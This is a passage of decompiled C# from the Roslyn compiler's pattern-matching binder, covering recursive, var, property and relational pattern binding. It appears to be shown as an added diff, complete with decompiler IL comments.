(might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Invalid comparison between Unknown and I4 + if (!(designation is SingleVariableDesignationSyntax { Identifier: var identifier } singleVariableDesignationSyntax)) + { + if (designation is DiscardDesignationSyntax || designation == null) + { + variableSymbol = null; + variableAccess = null; + return; + } + throw ExceptionUtilities.UnexpectedValue((object)designation.Kind()); + } + SourceLocalSymbol sourceLocalSymbol = LookupLocal(identifier); + if (!permitDesignations && !((SyntaxToken)(ref identifier)).IsMissing) + { + diagnostics.Add(ErrorCode.ERR_DesignatorBeneathPatternCombinator, ((SyntaxToken)(ref identifier)).GetLocation()); + } + if ((object)sourceLocalSymbol != null) + { + if ((InConstructorInitializer || InFieldInitializer) && (int)ContainingMemberOrLambda.ContainingSymbol.Kind == 11) + { + CheckFeatureAvailability((SyntaxNode)(object)designation, MessageID.IDS_FeatureExpressionVariablesInQueriesAndInitializers, diagnostics); + } + sourceLocalSymbol.SetTypeWithAnnotations(declType); + hasErrors |= sourceLocalSymbol.ScopeBinder.ValidateDeclarationNameConflictsInScope(sourceLocalSymbol, diagnostics); + if (!hasErrors) + { + CheckRestrictedTypeInAsyncMethod(ContainingMemberOrLambda, declType.Type, diagnostics, (SyntaxNode)(((object)typeSyntax) ?? ((object)designation))); + } + variableSymbol = sourceLocalSymbol; + variableAccess = new BoundLocal((SyntaxNode)(object)designation, sourceLocalSymbol, (!sourceLocalSymbol.IsVar) ? BoundLocalDeclarationKind.WithExplicitType : BoundLocalDeclarationKind.WithInferredType, null, isNullableUnknown: false, declType.Type); + } + else + { + GlobalExpressionVariable globalExpressionVariable = LookupDeclaredField(singleVariableDesignationSyntax); + globalExpressionVariable.SetTypeWithAnnotations(declType, BindingDiagnosticBag.Discarded); + BoundExpression receiver = SynthesizeReceiver((SyntaxNode)(object)designation, globalExpressionVariable, diagnostics); + variableSymbol = globalExpressionVariable; + variableAccess = new BoundFieldAccess((SyntaxNode)(object)designation, receiver, globalExpressionVariable, null, hasErrors); + } + } + + private TypeWithAnnotations BindRecursivePatternType(TypeSyntax? typeSyntax, TypeSymbol inputType, BindingDiagnosticBag diagnostics, ref bool hasErrors, out BoundTypeExpression? boundDeclType) + { + if (typeSyntax != null) + { + boundDeclType = BindTypeForPattern(typeSyntax, inputType, diagnostics, ref hasErrors); + return boundDeclType.TypeWithAnnotations; + } + boundDeclType = null; + return TypeWithAnnotations.Create(inputType.StrippedType(), NullableAnnotation.NotAnnotated); + } + + internal static bool IsZeroElementTupleType(TypeSymbol type) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + if (type.IsStructType() && type.Name == "ValueTuple" && type.GetArity() == 0) + { + Symbol containingSymbol = type.ContainingSymbol; + if ((int)containingSymbol.Kind == 12 && containingSymbol.Name == "System") + { + return (containingSymbol.ContainingSymbol as NamespaceSymbol)?.IsGlobalNamespace ?? false; + } + } + return false; + } + + private BoundPattern BindRecursivePattern(RecursivePatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureRecursivePatterns.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + if (inputType.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_PointerTypeInPatternMatching, ((SyntaxNode)node).Location); + hasErrors = true; + inputType = CreateErrorType(); + } + TypeSyntax type = node.Type; + BoundTypeExpression boundDeclType; + TypeWithAnnotations declType = BindRecursivePatternType(type, inputType, diagnostics, ref hasErrors, out boundDeclType); + TypeSymbol type2 = declType.Type; + MethodSymbol methodSymbol = null; + ImmutableArray deconstruction = default(ImmutableArray); + if (node.PositionalPatternClause != null) + { + PositionalPatternClauseSyntax positionalPatternClause = node.PositionalPatternClause; + ArrayBuilder instance = ArrayBuilder.GetInstance(positionalPatternClause.Subpatterns.Count); + if (IsZeroElementTupleType(type2)) + { + BindValueTupleSubpatterns(positionalPatternClause, type2, ImmutableArray.Empty, permitDesignations, ref hasErrors, instance, diagnostics); + } + else if (type2.IsTupleType) + { + BindValueTupleSubpatterns(positionalPatternClause, type2, type2.TupleElementTypesWithAnnotations, permitDesignations, ref hasErrors, instance, diagnostics); + } + else + { + BoundImplicitReceiver receiver = new BoundImplicitReceiver((SyntaxNode)(object)positionalPatternClause, type2); + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(diagnostics); + ImmutableArray outPlaceholders; + bool anyApplicableCandidates; + BoundExpression deconstruct = MakeDeconstructInvocationExpression(positionalPatternClause.Subpatterns.Count, receiver, (SyntaxNode)(object)positionalPatternClause, instance2, out outPlaceholders, out anyApplicableCandidates); + if (!anyApplicableCandidates && ShouldUseITupleForRecursivePattern(node, type2, diagnostics, out NamedTypeSymbol iTupleType, out MethodSymbol iTupleGetLength, out MethodSymbol iTupleGetItem)) + { + ((BindingDiagnosticBag)(object)instance2).Free(); + BindITupleSubpatterns(positionalPatternClause, instance, permitDesignations, diagnostics); + deconstruction = instance.ToImmutableAndFree(); + return new BoundITuplePattern((SyntaxNode)(object)node, iTupleGetLength, iTupleGetItem, deconstruction, inputType, iTupleType, hasErrors); + } + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance2); + methodSymbol = BindDeconstructSubpatterns(positionalPatternClause, permitDesignations, deconstruct, outPlaceholders, instance, ref hasErrors, diagnostics); + } + deconstruction = instance.ToImmutableAndFree(); + } + ImmutableArray properties = default(ImmutableArray); + if (node.PropertyPatternClause != null) + { + properties = BindPropertyPatternClause(node.PropertyPatternClause, type2, permitDesignations, diagnostics, ref hasErrors); + } + BindPatternDesignation(node.Designation, declType, permitDesignations, type, diagnostics, ref hasErrors, out Symbol variableSymbol, out BoundExpression variableAccess); + bool isExplicitNotNullTest = node.Designation == null && boundDeclType == null && properties.IsDefaultOrEmpty && (object)methodSymbol == null && deconstruction.IsDefault; + return new BoundRecursivePattern((SyntaxNode)(object)node, boundDeclType, methodSymbol, deconstruction, properties, isExplicitNotNullTest, variableSymbol, variableAccess, inputType, boundDeclType?.Type ?? inputType.StrippedType(), hasErrors); + } + + private MethodSymbol? BindDeconstructSubpatterns(PositionalPatternClauseSyntax node, bool permitDesignations, BoundExpression deconstruct, ImmutableArray outPlaceholders, ArrayBuilder patterns, ref bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = deconstruct.ExpressionSymbol as MethodSymbol; + if ((object)methodSymbol == null) + { + hasErrors = true; + } + int num = ((methodSymbol?.IsExtensionMethod ?? false) ? 1 : 0); + for (int i = 0; i < node.Subpatterns.Count; i++) + { + SubpatternSyntax subpatternSyntax = node.Subpatterns[i]; + bool flag = hasErrors || outPlaceholders.IsDefaultOrEmpty || i >= outPlaceholders.Length; + TypeSymbol inputType = (flag ? CreateErrorType() : outPlaceholders[i].Type); + ParameterSymbol parameterSymbol = null; + if (!flag) + { + int num2 = i + num; + if (num2 < methodSymbol.ParameterCount) + { + parameterSymbol = methodSymbol.Parameters[num2]; + } + if (subpatternSyntax.NameColon != null) + { + if ((object)parameterSymbol != null) + { + SyntaxToken identifier = subpatternSyntax.NameColon.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + string name = parameterSymbol.Name; + if (valueText != name) + { + diagnostics.Add(ErrorCode.ERR_DeconstructParameterNameMismatch, ((SyntaxNode)subpatternSyntax.NameColon.Name).Location, valueText, name); + } + } + } + else if (subpatternSyntax.ExpressionColon != null) + { + MessageID.IDS_FeatureExtendedPropertyPatterns.CheckFeatureAvailability(diagnostics, subpatternSyntax.ExpressionColon.ColonToken); + diagnostics.Add(ErrorCode.ERR_IdentifierExpected, ((SyntaxNode)subpatternSyntax.ExpressionColon.Expression).Location); + } + } + BoundPositionalSubpattern boundPositionalSubpattern = new BoundPositionalSubpattern((SyntaxNode)(object)subpatternSyntax, parameterSymbol, BindPattern(subpatternSyntax.Pattern, inputType, permitDesignations, flag, diagnostics)); + patterns.Add(boundPositionalSubpattern); + } + return methodSymbol; + } + + private void BindITupleSubpatterns(PositionalPatternClauseSyntax node, ArrayBuilder patterns, bool permitDesignations, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)1); + Enumerator enumerator = node.Subpatterns.GetEnumerator(); + while (enumerator.MoveNext()) + { + SubpatternSyntax current = enumerator.Current; + if (current.NameColon != null) + { + diagnostics.Add(ErrorCode.ERR_ArgumentNameInITuplePattern, ((SyntaxNode)current.NameColon).Location); + } + else if (current.ExpressionColon != null) + { + diagnostics.Add(ErrorCode.ERR_IdentifierExpected, ((SyntaxNode)current.ExpressionColon.Expression).Location); + } + BoundPositionalSubpattern boundPositionalSubpattern = new BoundPositionalSubpattern((SyntaxNode)(object)current, null, BindPattern(current.Pattern, specialType, permitDesignations, hasErrors: false, diagnostics)); + patterns.Add(boundPositionalSubpattern); + } + } + + private void BindITupleSubpatterns(ParenthesizedVariableDesignationSyntax node, ArrayBuilder patterns, bool permitDesignations, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)1); + Enumerator enumerator = node.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + BoundPattern pattern = BindVarDesignation(current, specialType, permitDesignations, hasErrors: false, diagnostics); + BoundPositionalSubpattern boundPositionalSubpattern = new BoundPositionalSubpattern((SyntaxNode)(object)current, null, pattern); + patterns.Add(boundPositionalSubpattern); + } + } + + private void BindValueTupleSubpatterns(PositionalPatternClauseSyntax node, TypeSymbol declType, ImmutableArray elementTypesWithAnnotations, bool permitDesignations, ref bool hasErrors, ArrayBuilder patterns, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + if (elementTypesWithAnnotations.Length != node.Subpatterns.Count && !hasErrors) + { + diagnostics.Add(ErrorCode.ERR_WrongNumberOfSubpatterns, ((SyntaxNode)node).Location, declType, elementTypesWithAnnotations.Length, node.Subpatterns.Count); + hasErrors = true; + } + for (int i = 0; i < node.Subpatterns.Count; i++) + { + SubpatternSyntax subpatternSyntax = node.Subpatterns[i]; + bool flag = i >= elementTypesWithAnnotations.Length; + TypeSymbol inputType = (flag ? CreateErrorType() : elementTypesWithAnnotations[i].Type); + FieldSymbol symbol = null; + if (!flag) + { + if (subpatternSyntax.NameColon != null) + { + SyntaxToken identifier = subpatternSyntax.NameColon.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + symbol = CheckIsTupleElement((SyntaxNode)(object)subpatternSyntax.NameColon.Name, (NamedTypeSymbol)declType, valueText, i, diagnostics); + } + else if (subpatternSyntax.ExpressionColon != null) + { + diagnostics.Add(ErrorCode.ERR_IdentifierExpected, ((SyntaxNode)subpatternSyntax.ExpressionColon.Expression).Location); + } + } + BoundPositionalSubpattern boundPositionalSubpattern = new BoundPositionalSubpattern((SyntaxNode)(object)subpatternSyntax, symbol, BindPattern(subpatternSyntax.Pattern, inputType, permitDesignations, flag, diagnostics)); + patterns.Add(boundPositionalSubpattern); + } + } + + private bool ShouldUseITupleForRecursivePattern(RecursivePatternSyntax node, TypeSymbol declType, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out NamedTypeSymbol? iTupleType, [NotNullWhen(true)] out MethodSymbol? iTupleGetLength, [NotNullWhen(true)] out MethodSymbol? iTupleGetItem) + { + iTupleType = null; + iTupleGetLength = (iTupleGetItem = null); + if (node.Type != null) + { + return false; + } + if (node.PropertyPatternClause != null) + { + return false; + } + if (node.PositionalPatternClause == null) + { + return false; + } + VariableDesignationSyntax? designation = node.Designation; + if (designation != null && designation.Kind() == SyntaxKind.SingleVariableDesignation) + { + return false; + } + return ShouldUseITuple((SyntaxNode)(object)node, declType, diagnostics, out iTupleType, out iTupleGetLength, out iTupleGetItem); + } + + private bool ShouldUseITuple(SyntaxNode node, TypeSymbol declType, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out NamedTypeSymbol? iTupleType, [NotNullWhen(true)] out MethodSymbol? iTupleGetLength, [NotNullWhen(true)] out MethodSymbol? iTupleGetItem) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + iTupleType = null; + iTupleGetLength = (iTupleGetItem = null); + if (Compilation.LanguageVersion < MessageID.IDS_FeatureRecursivePatterns.RequiredVersion()) + { + return false; + } + iTupleType = Compilation.GetWellKnownType((WellKnownType)283); + if ((int)iTupleType.TypeKind != 7) + { + return false; + } + if ((object)declType != Compilation.GetSpecialType((SpecialType)1) && (object)declType != Compilation.DynamicType && (object)declType != iTupleType && !hasBaseInterface(declType, iTupleType)) + { + return false; + } + iTupleGetLength = (MethodSymbol)Compilation.GetWellKnownTypeMember((WellKnownMember)452); + iTupleGetItem = (MethodSymbol)Compilation.GetWellKnownTypeMember((WellKnownMember)451); + if ((object)iTupleGetLength == null || (object)iTupleGetItem == null) + { + return false; + } + if (diagnostics.ReportUseSite(iTupleType, node) || diagnostics.ReportUseSite(iTupleGetLength, node)) + { + _ = 1; + } + else + diagnostics.ReportUseSite(iTupleGetItem, node); + return true; + bool hasBaseInterface(TypeSymbol type, NamedTypeSymbol possibleBaseInterface) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool isImplicit = Compilation.Conversions.ClassifyBuiltInConversion(type, possibleBaseInterface, CheckOverflowAtRuntime, ref useSiteInfo).IsImplicit; + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + return isImplicit; + } + } + + private static FieldSymbol? CheckIsTupleElement(SyntaxNode node, NamedTypeSymbol tupleType, string name, int tupleIndex, BindingDiagnosticBag diagnostics) + { + FieldSymbol fieldSymbol = null; + ImmutableArray.Enumerator enumerator = tupleType.GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is FieldSymbol fieldSymbol2 && fieldSymbol2.IsTupleElement()) + { + fieldSymbol = fieldSymbol2; + break; + } + } + if ((object)fieldSymbol == null || fieldSymbol.TupleElementIndex != tupleIndex) + { + diagnostics.Add(ErrorCode.ERR_TupleElementNameMismatch, node.Location, name, $"Item{tupleIndex + 1}"); + } + return fieldSymbol; + } + + private BoundPattern BindVarPattern(VarPatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + if ((inputType.IsPointerOrFunctionPointer() && node.Designation.Kind() == SyntaxKind.ParenthesizedVariableDesignation) || (inputType.IsPointerType() && Compilation.LanguageVersion < MessageID.IDS_FeatureRecursivePatterns.RequiredVersion())) + { + diagnostics.Add(ErrorCode.ERR_PointerTypeInPatternMatching, ((SyntaxNode)node).Location); + hasErrors = true; + inputType = CreateErrorType(); + } + bool isKeyword; + Symbol symbol = BindTypeOrAliasOrKeyword(node.VarKeyword, (SyntaxNode)(object)node, diagnostics, out isKeyword).Symbol; + if (!isKeyword) + { + SyntaxToken varKeyword = node.VarKeyword; + diagnostics.Add(ErrorCode.ERR_VarMayNotBindToType, ((SyntaxToken)(ref varKeyword)).GetLocation(), symbol.ToDisplayString()); + hasErrors = true; + } + return BindVarDesignation(node.Designation, inputType, permitDesignations, hasErrors, diagnostics); + } + + private BoundPattern BindVarDesignation(VariableDesignationSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + //IL_0302: Unknown result type (might be due to invalid IL or missing references) + //IL_0307: Unknown result type (might be due to invalid IL or missing references) + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_0247: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Unknown result type (might be due to invalid IL or missing references) + //IL_0278: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.DiscardDesignation: + return new BoundDiscardPattern((SyntaxNode)(object)node, inputType, inputType); + case SyntaxKind.SingleVariableDesignation: + { + TypeWithAnnotations typeWithAnnotations = TypeWithState.ForType(inputType).ToTypeWithAnnotations(Compilation); + BindPatternDesignation(node, typeWithAnnotations, permitDesignations, null, diagnostics, ref hasErrors, out Symbol variableSymbol, out BoundExpression variableAccess); + BoundTypeExpression declaredType = new BoundTypeExpression((SyntaxNode)(object)node, null, typeWithAnnotations); + return new BoundDeclarationPattern((SyntaxNode)(object)((node.Parent.Kind() == SyntaxKind.VarPattern) ? node.Parent : node), declaredType, isVar: true, variableSymbol, variableAccess, inputType, inputType, hasErrors); + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + MessageID.IDS_FeatureRecursivePatterns.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + ParenthesizedVariableDesignationSyntax tupleDesignation = (ParenthesizedVariableDesignationSyntax)node; + ArrayBuilder subPatterns = ArrayBuilder.GetInstance(tupleDesignation.Variables.Count); + MethodSymbol deconstructMethod = null; + TypeSymbol strippedInputType = inputType.StrippedType(); + if (IsZeroElementTupleType(strippedInputType)) + { + addSubpatternsForTuple(ImmutableArray.Empty); + } + else if (strippedInputType.IsTupleType) + { + addSubpatternsForTuple(strippedInputType.TupleElementTypesWithAnnotations); + } + else + { + BoundImplicitReceiver receiver = new BoundImplicitReceiver((SyntaxNode)(object)node, strippedInputType); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + ImmutableArray outPlaceholders; + bool anyApplicableCandidates; + BoundExpression boundExpression = MakeDeconstructInvocationExpression(tupleDesignation.Variables.Count, receiver, (SyntaxNode)(object)node, instance, out outPlaceholders, out anyApplicableCandidates); + if (!anyApplicableCandidates && ShouldUseITuple((SyntaxNode)(object)node, strippedInputType, diagnostics, out NamedTypeSymbol iTupleType, out MethodSymbol iTupleGetLength, out MethodSymbol iTupleGetItem)) + { + ((BindingDiagnosticBag)(object)instance).Free(); + BindITupleSubpatterns(tupleDesignation, subPatterns, permitDesignations, diagnostics); + return new BoundITuplePattern((SyntaxNode)(object)node, iTupleGetLength, iTupleGetItem, subPatterns.ToImmutableAndFree(), strippedInputType, iTupleType, hasErrors); + } + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + deconstructMethod = boundExpression.ExpressionSymbol as MethodSymbol; + if (!hasErrors) + { + hasErrors = outPlaceholders.IsDefault || tupleDesignation.Variables.Count != outPlaceholders.Length; + } + for (int i = 0; i < tupleDesignation.Variables.Count; i++) + { + VariableDesignationSyntax variableDesignationSyntax = tupleDesignation.Variables[i]; + bool flag = outPlaceholders.IsDefaultOrEmpty || i >= outPlaceholders.Length; + TypeSymbol inputType2 = (flag ? CreateErrorType() : outPlaceholders[i].Type); + BoundPattern pattern = BindVarDesignation(variableDesignationSyntax, inputType2, permitDesignations, flag, diagnostics); + subPatterns.Add(new BoundPositionalSubpattern((SyntaxNode)(object)variableDesignationSyntax, null, pattern)); + } + } + return new BoundRecursivePattern((SyntaxNode)(object)node, null, deconstructMethod, subPatterns.ToImmutableAndFree(), default(ImmutableArray), isExplicitNotNullTest: false, null, null, inputType, inputType.StrippedType(), hasErrors); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + } + } + + private ImmutableArray BindPropertyPatternClause(PropertyPatternClauseSyntax node, TypeSymbol inputType, bool permitDesignations, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Invalid comparison between Unknown and I4 + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(node.Subpatterns.Count); + SubpatternSyntax current; + PatternSyntax pattern; + bool isLengthOrCount; + TypeSymbol typeSymbol; + BoundPropertySubpatternMember boundPropertySubpatternMember; + Symbol symbol = default(Symbol); + BoundPattern pattern2; + for (Enumerator enumerator = node.Subpatterns.GetEnumerator(); enumerator.MoveNext(); pattern2 = BindPattern(pattern, typeSymbol, permitDesignations, hasErrors, diagnostics), instance.Add(new BoundPropertySubpattern((SyntaxNode)(object)current, boundPropertySubpatternMember, isLengthOrCount, pattern2))) + { + current = enumerator.Current; + if (current.ExpressionColon is ExpressionColonSyntax) + { + MessageID.IDS_FeatureExtendedPropertyPatterns.CheckFeatureAvailability(diagnostics, current.ExpressionColon.ColonToken); + } + ExpressionSyntax expressionSyntax = current.ExpressionColon?.Expression; + pattern = current.Pattern; + isLengthOrCount = false; + if (expressionSyntax == null) + { + if (!hasErrors) + { + diagnostics.Add(ErrorCode.ERR_PropertyPatternNameMissing, ((SyntaxNode)pattern).Location, pattern); + } + typeSymbol = CreateErrorType(); + boundPropertySubpatternMember = null; + hasErrors = true; + continue; + } + boundPropertySubpatternMember = LookupMembersForPropertyPattern(inputType, expressionSyntax, diagnostics, ref hasErrors); + typeSymbol = boundPropertySubpatternMember.Type; + bool flag = (int)typeSymbol.SpecialType == 13; + bool flag2; + if (flag) + { + symbol = boundPropertySubpatternMember.Symbol; + if ((object)symbol != null) + { + string name = symbol.Name; + if ((name == "Length" || name == "Count") && (int)symbol.Kind == 15) + { + flag2 = true; + goto IL_0124; + } + } + flag2 = false; + goto IL_0124; + } + goto IL_0128; + IL_0128: + if (flag) + { + TypeSymbol typeSymbol2 = boundPropertySubpatternMember.Receiver?.Type ?? inputType; + if (!typeSymbol2.IsErrorType()) + { + isLengthOrCount = IsCountableAndIndexable((SyntaxNode)(object)node, typeSymbol2, out PropertySymbol lengthProperty) && symbol.Equals(lengthProperty, (TypeCompareKind)0); + } + } + continue; + IL_0124: + flag = flag2; + goto IL_0128; + } + return instance.ToImmutableAndFree(); + } + + private BoundPropertySubpatternMember LookupMembersForPropertyPattern(TypeSymbol inputType, ExpressionSyntax expr, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + BoundPropertySubpatternMember boundPropertySubpatternMember = null; + Symbol symbol = null; + if (!(expr is IdentifierNameSyntax memberName)) + { + if (expr is MemberAccessExpressionSyntax { Name: IdentifierNameSyntax name } memberAccessExpressionSyntax && ((SyntaxNode?)(object)memberAccessExpressionSyntax).IsKind(SyntaxKind.SimpleMemberAccessExpression)) + { + boundPropertySubpatternMember = LookupMembersForPropertyPattern(inputType, memberAccessExpressionSyntax.Expression, diagnostics, ref hasErrors); + symbol = BindPropertyPatternMember(boundPropertySubpatternMember.Type.StrippedType(), name, ref hasErrors, diagnostics); + } + else + { + Error(diagnostics, ErrorCode.ERR_InvalidNameInSubpattern, (CSharpSyntaxNode)expr); + hasErrors = true; + } + } + else + { + symbol = BindPropertyPatternMember(inputType, memberName, ref hasErrors, diagnostics); + } + TypeSymbol typeSymbol = ((symbol is FieldSymbol fieldSymbol) ? fieldSymbol.Type : ((!(symbol is PropertySymbol propertySymbol)) ? CreateErrorType() : propertySymbol.Type)); + TypeSymbol type = typeSymbol; + return new BoundPropertySubpatternMember((SyntaxNode)(object)expr, boundPropertySubpatternMember, symbol, type, hasErrors); + } + + private Symbol? BindPropertyPatternMember(TypeSymbol inputType, IdentifierNameSyntax memberName, ref bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + BoundImplicitReceiver boundImplicitReceiver = new BoundImplicitReceiver((SyntaxNode)(object)memberName, inputType); + SyntaxToken identifier = memberName.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + BoundExpression boundExpression = BindInstanceMemberAccess((SyntaxNode)(object)memberName, (SyntaxNode)(object)memberName, boundImplicitReceiver, valueText, 0, default(SeparatedSyntaxList), default(ImmutableArray), invoked: false, indexed: false, diagnostics); + if (boundExpression.Kind == BoundKind.PropertyGroup) + { + boundExpression = BindIndexedPropertyAccess((BoundPropertyGroup)boundExpression, mustHaveAllOptionalParameters: true, diagnostics); + } + hasErrors |= boundExpression.HasAnyErrors || boundImplicitReceiver.HasAnyErrors; + switch (boundExpression.Kind) + { + default: + if (!hasErrors) + { + switch (boundExpression.ResultKind) + { + case LookupResultKind.Empty: + Error(diagnostics, ErrorCode.ERR_NoSuchMember, (CSharpSyntaxNode)memberName, new object[2] { boundImplicitReceiver.Type, valueText }); + break; + case LookupResultKind.Inaccessible: + boundExpression = CheckValue(boundExpression, BindValueKind.RValue, diagnostics); + break; + default: + Error(diagnostics, ErrorCode.ERR_PropertyLacksGet, (CSharpSyntaxNode)memberName, new object[1] { valueText }); + break; + } + hasErrors = true; + } + break; + case BoundKind.FieldAccess: + case BoundKind.PropertyAccess: + break; + } + if (!hasErrors && !CheckValueKind((SyntaxNode)(object)memberName.Parent, boundExpression, BindValueKind.RValue, checkingReceiver: false, diagnostics)) + { + hasErrors = true; + } + return boundExpression.ExpressionSymbol; + } + + private BoundPattern BindTypePattern(TypePatternSyntax node, TypeSymbol inputType, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + MessageID.IDS_FeatureTypePattern.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + BoundTypeExpression boundTypeExpression = BindTypeForPattern(node.Type, inputType, diagnostics, ref hasErrors); + bool isExplicitNotNullTest = (int)boundTypeExpression.Type.SpecialType == 1; + return new BoundTypePattern((SyntaxNode)(object)node, boundTypeExpression, isExplicitNotNullTest, inputType, boundTypeExpression.Type, hasErrors); + } + + private BoundPattern BindRelationalPattern(RelationalPatternSyntax node, TypeSymbol inputType, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureRelationalPattern.CheckFeatureAvailability(diagnostics, node.OperatorToken); + ConstantValue constantValueOpt; + bool wasExpression; + Conversion patternExpressionConversion; + BoundExpression boundExpression = BindExpressionForPattern(inputType, node.Expression, ref hasErrors, diagnostics, out constantValueOpt, out wasExpression, out patternExpressionConversion); + SkipParensAndNullSuppressions(node.Expression, diagnostics, ref hasErrors); + BinaryOperatorKind binaryOperatorKind = tokenKindToBinaryOperatorKind(node.OperatorToken.Kind()); + if (binaryOperatorKind == BinaryOperatorKind.Equal) + { + SyntaxToken operatorToken = node.OperatorToken; + Location location = ((SyntaxToken)(ref operatorToken)).GetLocation(); + object[] array = new object[1]; + operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + diagnostics.Add(ErrorCode.ERR_InvalidExprTerm, location, array); + hasErrors = true; + } + BinaryOperatorKind binaryOperatorKind2 = 